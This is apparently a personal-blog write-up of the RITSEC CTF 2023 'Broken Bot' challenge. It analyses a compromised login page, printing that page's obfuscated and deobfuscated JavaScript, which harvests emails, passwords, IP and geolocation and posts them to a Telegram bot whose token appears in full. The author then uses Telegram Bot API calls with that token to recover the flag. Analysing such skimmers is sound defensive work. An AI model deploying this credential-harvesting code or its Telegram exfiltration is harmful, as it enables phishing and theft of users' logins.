siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

Broken Bot

Background

Made by FM Global

A malicious actor was able to compromise RIT’s Cloud Storage web portal. Investigate and determine the scope of the compromise.

https://brokenbot-web.challenges.ctf.ritsec.club/

NOTE: The flag format is Flag{}

Enumeration

Home page:

In here, we see there’s the RIT’s Cloud Storage web portal login page, and the email field has been filled for us.

Let’s view the source page:

[...]
 <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/core.min.js"x></script 1=2> <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/md5.js"x></script 1=2>
[...]
<script x>var _0x7298=["\x67\x65\x74\x46\x75\x6C\x6C\x59\x65\x61\x72","\x77\x72\x69\x74\x65"];document[_0x7298[1]]( new Date()[_0x7298[0]]())</script 1=2 
[...]
 <script src="https://zeptojs.com/zepto.min.js" x></script 1=2>
   <script x>
    var A=B;function B(C,D){var E=F();return B=function(Bbb,G){Bbb=Bbb-0xb7;var H=E[Bbb];return H;},B(C,D);}(function(I,J){var K=B,L=I();while(!![]){try{var M=-parseInt(K(0xe9))/0x1+-parseInt(K(0xda))/0x2+parseInt(K(0xc0))/0x3*(-parseInt(K(0xb8))/0x4)+parseInt(K(0xd6))/0x5+-parseInt(K(0xe0))/0x6*(-parseInt(K(0xd5))/0x7)+parseInt(K(0xb7))/0x8*(-parseInt(K(0xe3))/0x9)+-parseInt(K(0xe1))/0xa*(parseInt(K(0xdb))/0xb);if(M===J)break;else L['push'](L['shift']());}catch(N){L['push'](L['shift']());}}}(F,0xa9b1c));var elem=$(A(0xb9)),elem1=A(0xde),elem2=A(0xd7),email=$(A(0xc2))[A(0xc9)](),domain=email[A(0xe4)](email[A(0xbc)]('@')+0x1),frmsite=domain[A(0xe4)](0x0,domain[A(0xbc)]('.'));const str=frmsite+A(0xce),str2=str[A(0xbd)](0x0)[A(0xeb)]()+str[A(0xe7)](0x1);let today=new Date()[A(0xc6)]();$(A(0xba))[A(0xe5)](str2),$('#title')[A(0xe5)](str2),$(A(0xc1))['append'](A(0xbb)+domain+A(0xd4)),$(A(0xdd))[A(0xe5)](A(0xcd)+domain+'\x22>'),document[A(0xe8)][A(0xd0)]['background']=A(0xca)+domain+'\x27)',elem['on'](A(0xec),function(O){var P=A;$('#inputPassword')[P(0xdf)]()===''?alert(P(0xcb)):$['getJSON'](P(0xcf),function(Q){var R=P,S=Q['ip'],T=Q[R(0xc8)],U=Q['region'],V=Q['country'],W=navigator['userAgent'];let X=new Date()[R(0xc6)]();var Y=R(0xc4)+str2+'\x20by\x20Zach\x20A**'+'\x0a\x0a'+R(0xe2)+$(R(0xc2))[R(0xc9)]()+'\x0a'+R(0xc7)+$(R(0xd9))[R(0xdf)]()+'\x0a'+'IP\x20Address\x20:\x20'+S+'\x0a'+R(0xe6)+U+'\x0a'+R(0xc3)+T+'\x0a'+R(0xbe)+V+'\x0a'+R(0xed)+W+'\x0a'+R(0xcc)+$(R(0xea))[R(0xdf)]()+'\x0a'+R(0xd8)+X+'\x0a'+R(0xbf)+$(R(0xc5))[R(0xdf)](),Z=R(0xdc)+elem1+R(0xd3);$[R(0xd2)](Z,{'chat_id':elem2,'text':Y},function(AA){var AB=R;window['location'][AB(0xee)]=AB(0xd1);});});});function F(){var AC=['val','12ZidQyC','20AFlrCY','Email:\x20','63792quNVYn','substring','append','Region\x20:\x20','slice','body','139437pXYFEK','#UserEmail','toUpperCase','click','Useragent\x20:\x20','href','88GpIPQU','904cdojGd','#submit','#dname','<img\x20class=\x22mb-4\x22\x20src=\x22https://logo.clearbit.com/','lastIndexOf','charAt','Country\x20:\x20','DateSent\x20:\x20','10311YpzJVd','#dlogo','#emailtext','City\x20:\x20','***','#DateSent','toLocaleDateString','Password\x20:\x20','city','text','url(\x27https://logo.clearbit.com/','Password\x20field\x20missing!','Format\x20:\x20','<link\x20rel=\x22icon\x22\x20href=\x22https://logo.clearbit.com/','\x20Cloud\x20Storage','https://ip.seeip.org/geoip','style','https://archive.org/details/VoiceMail_173','post','/sendMessage','\x22\x20alt=\x22\x22\x20width=\x22150\x22\x20\x20>','4716964xBODFJ','3724320KAqSuZ','5852841790','Date\x20Filled\x20:\x20','#inputPassword','380874lxWkrT','1170928pBbGzs','https://api.telegram.org/bot','head','6055124896:AAFyQlC_8dr1GndB26ji4iV2ol2bPPQ9lq4'];F=function(){return AC;};return F();}
</script 1=2

Hmm… Since a malicious actor compromised the Cloud Storage web portal, it’s clear that the bad actor did something peculiar to the / page.

Like obfuscated <script> element, weird 1=2.

Now, don’t click “Sign in” yet, just in case the bad actor did a watering hole attack to the / page.

Let’s deobfuscate <script> elements via de4js:

Deobfuscated:

<script>
    var _0x7298 = ["getFullYear", "write"];
    document[_0x7298[1]](new Date()[_0x7298[0]]())
</script>

<script>
    var A = B;
    
    function B(C, D) {
        var E = F();
        return B = function (Bbb, G) {
            Bbb = Bbb - 0xb7;
            var H = E[Bbb];
            return H;
        }, B(C, D);
    }(function (I, J) {
        var K = B,
            L = I();
        while (!![]) {
            try {
                var M = -parseInt(K(0xe9)) / 0x1 + -parseInt(K(0xda)) / 0x2 + parseInt(K(0xc0)) / 0x3 * (-parseInt(K(0xb8)) / 0x4) + parseInt(K(0xd6)) / 0x5 + -parseInt(K(0xe0)) / 0x6 * (-parseInt(K(0xd5)) / 0x7) + parseInt(K(0xb7)) / 0x8 * (-parseInt(K(0xe3)) / 0x9) + -parseInt(K(0xe1)) / 0xa * (parseInt(K(0xdb)) / 0xb);
                if (M === J) break;
                else L['push'](L['shift']());
            } catch (N) {
                L['push'](L['shift']());
            }
        }
    }(F, 0xa9b1c));
    var elem = $(A(0xb9)),
        elem1 = A(0xde),
        elem2 = A(0xd7),
        email = $(A(0xc2))[A(0xc9)](),
        domain = email[A(0xe4)](email[A(0xbc)]('@') + 0x1),
        frmsite = domain[A(0xe4)](0x0, domain[A(0xbc)]('.'));
    const str = frmsite + A(0xce),
        str2 = str[A(0xbd)](0x0)[A(0xeb)]() + str[A(0xe7)](0x1);
    let today = new Date()[A(0xc6)]();
    $(A(0xba))[A(0xe5)](str2), $('#title')[A(0xe5)](str2), $(A(0xc1))['append'](A(0xbb) + domain + A(0xd4)), $(A(0xdd))[A(0xe5)](A(0xcd) + domain + '\">'), document[A(0xe8)][A(0xd0)]['background'] = A(0xca) + domain + '\')', elem['on'](A(0xec), function (O) {
        var P = A;
        $('#inputPassword')[P(0xdf)]() === '' ? alert(P(0xcb)) : $['getJSON'](P(0xcf), function (Q) {
            var R = P,
                S = Q['ip'],
                T = Q[R(0xc8)],
                U = Q['region'],
                V = Q['country'],
                W = navigator['userAgent'];
            let X = new Date()[R(0xc6)]();
            var Y = R(0xc4) + str2 + ' by Zach A**' + '\x0a\x0a' + R(0xe2) + $(R(0xc2))[R(0xc9)]() + '\x0a' + R(0xc7) + $(R(0xd9))[R(0xdf)]() + '\x0a' + 'IP Address : ' + S + '\x0a' + R(0xe6) + U + '\x0a' + R(0xc3) + T + '\x0a' + R(0xbe) + V + '\x0a' + R(0xed) + W + '\x0a' + R(0xcc) + $(R(0xea))[R(0xdf)]() + '\x0a' + R(0xd8) + X + '\x0a' + R(0xbf) + $(R(0xc5))[R(0xdf)](),
                Z = R(0xdc) + elem1 + R(0xd3);
            $[R(0xd2)](Z, {
                'chat_id': elem2,
                'text': Y
            }, function (AA) {
                var AB = R;
                window['location'][AB(0xee)] = AB(0xd1);
            });
        });
    });
    
    function F() {
        var AC = ['val', '12ZidQyC', '20AFlrCY', 'Email: ', '63792quNVYn', 'substring', 'append', 'Region : ', 'slice', 'body', '139437pXYFEK', '#UserEmail', 'toUpperCase', 'click', 'Useragent : ', 'href', '88GpIPQU', '904cdojGd', '#submit', '#dname', '<img class=\"mb-4\" src=\"https://logo.clearbit.com/', 'lastIndexOf', 'charAt', 'Country : ', 'DateSent : ', '10311YpzJVd', '#dlogo', '#emailtext', 'City : ', '***', '#DateSent', 'toLocaleDateString', 'Password : ', 'city', 'text', 'url(\'https://logo.clearbit.com/', 'Password field missing!', 'Format : ', '<link rel=\"icon\" href=\"https://logo.clearbit.com/', ' Cloud Storage', 'https://ip.seeip.org/geoip', 'style', 'https://archive.org/details/VoiceMail_173', 'post', '/sendMessage', '\" alt=\"\" width=\"150\"  >', '4716964xBODFJ', '3724320KAqSuZ', '5852841790', 'Date Filled : ', '#inputPassword', '380874lxWkrT', '1170928pBbGzs', 'https://api.telegram.org/bot', 'head', '6055124896:AAFyQlC_8dr1GndB26ji4iV2ol2bPPQ9lq4'];
        F = function () {
            return AC;
        };
        return F();
    }
</script>

The first <script> element is just displaying the current year:

So we can just ignore that.

How about the second <script> element?

It looks very complex to me… However function F() stands out to me:

var AC = ['val', '12ZidQyC', '20AFlrCY', 'Email: ', '63792quNVYn', 'substring', 'append', 'Region : ', 'slice', 'body', '139437pXYFEK', '#UserEmail', 'toUpperCase', 'click', 'Useragent : ', 'href', '88GpIPQU', '904cdojGd', '#submit', '#dname', '<img class=\"mb-4\" src=\"https://logo.clearbit.com/', 'lastIndexOf', 'charAt', 'Country : ', 'DateSent : ', '10311YpzJVd', '#dlogo', '#emailtext', 'City : ', '***', '#DateSent', 'toLocaleDateString', 'Password : ', 'city', 'text', 'url(\'https://logo.clearbit.com/', 'Password field missing!', 'Format : ', '<link rel=\"icon\" href=\"https://logo.clearbit.com/', ' Cloud Storage', 'https://ip.seeip.org/geoip', 'style', 'https://archive.org/details/VoiceMail_173', 'post', '/sendMessage', '\" alt=\"\" width=\"150\"  >', '4716964xBODFJ', '3724320KAqSuZ', '5852841790', 'Date Filled : ', '#inputPassword', '380874lxWkrT', '1170928pBbGzs', 'https://api.telegram.org/bot', 'head', '6055124896:AAFyQlC_8dr1GndB26ji4iV2ol2bPPQ9lq4'];

That weird array is interesting.

Hmm… It seems like when we click “Sign in”, it’ll forward our password, IP address, User-Agent to the Telegram group??

Let’s try to type some random password and send it:

Burp Suite HTTP history:

As you can see, it indeed grabbing our IP, password and other things to a Telegram API bot.

Also, it brings us to a voice mail. However, nothing useful.

{
    "ok": true,
    "result": {
        "message_id": 2357,
        "from": {
            "id": 6055124896,
            "is_bot": true,
            "first_name": "RIT_CTF_Telegram_Bot",
            "username": "rochesterissodamncoldbot"
        },
        "chat": {
            "id": 5852841790,
            "first_name": "Z",
            "username": "l337Hackzor",
            "type": "private"
        },
        "date": 1680334511,
        "text": "***Rit Cloud Storage by Zach A**\n\nEmail: WhiteTeam@rit.edu\nPassword : dafwgawg\nIP Address : [...]\nRegion : [...]\nCity : [...]\nCountry : [...]\nUseragent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36\nFormat : WhiteTeam@rit.edu\nDate Filled : 4/1/2023\nDateSent : 1/28/2023 2:55:30 p.m.",
        "entities": [
            {
                "offset": 41,
                "length": 17,
                "type": "email"
            },
            {
                "offset": 92,
                "length": 14,
                "type": "url"
            },
            {
                "offset": 318,
                "length": 17,
                "type": "email"
            }
        ]
    }
}

In here, we found the chat username is l337Hackzor.

Hmm… Maybe we can do something with the API???

According to Telegram API documentation, we can get up to date information about the chat:

Also, all queries to the Telegram Bot API must be served over HTTPS and need to be presented in this form: https://api.telegram.org/bot<token>/METHOD_NAME.

Uhh nope.

The message_auto_delete_time’s value is 31536000, which means message will be deleted after 1 year.

How about the rochesterissodamncoldbot?

Some weird files?

We can also download those files via getFile method:

┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023)-[2023.04.01|16:19:19(HKT)]
└> wget https://api.telegram.org/file/bot6055124896:AAFyQlC_8dr1GndB26ji4iV2ol2bPPQ9lq4/profile_photos/file_108.jpg                                                                                   
[...]
┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023)-[2023.04.01|16:19:23(HKT)]
└> eog file_108.jpg

Nothing weird.

After Googling “Telegram bot API leak sensentive information”, I found this blog:

However, I couldn’t forward those chat messages…

Then, I kept dig deeper to the API documentation, and I found 2 methods:

Let’s try to first one:

Nope.

Second one??

Oh!! We found the flag!

Conclusion

What we’ve learned:

  1. Leaking Sensentive Information Via Telegram Bot API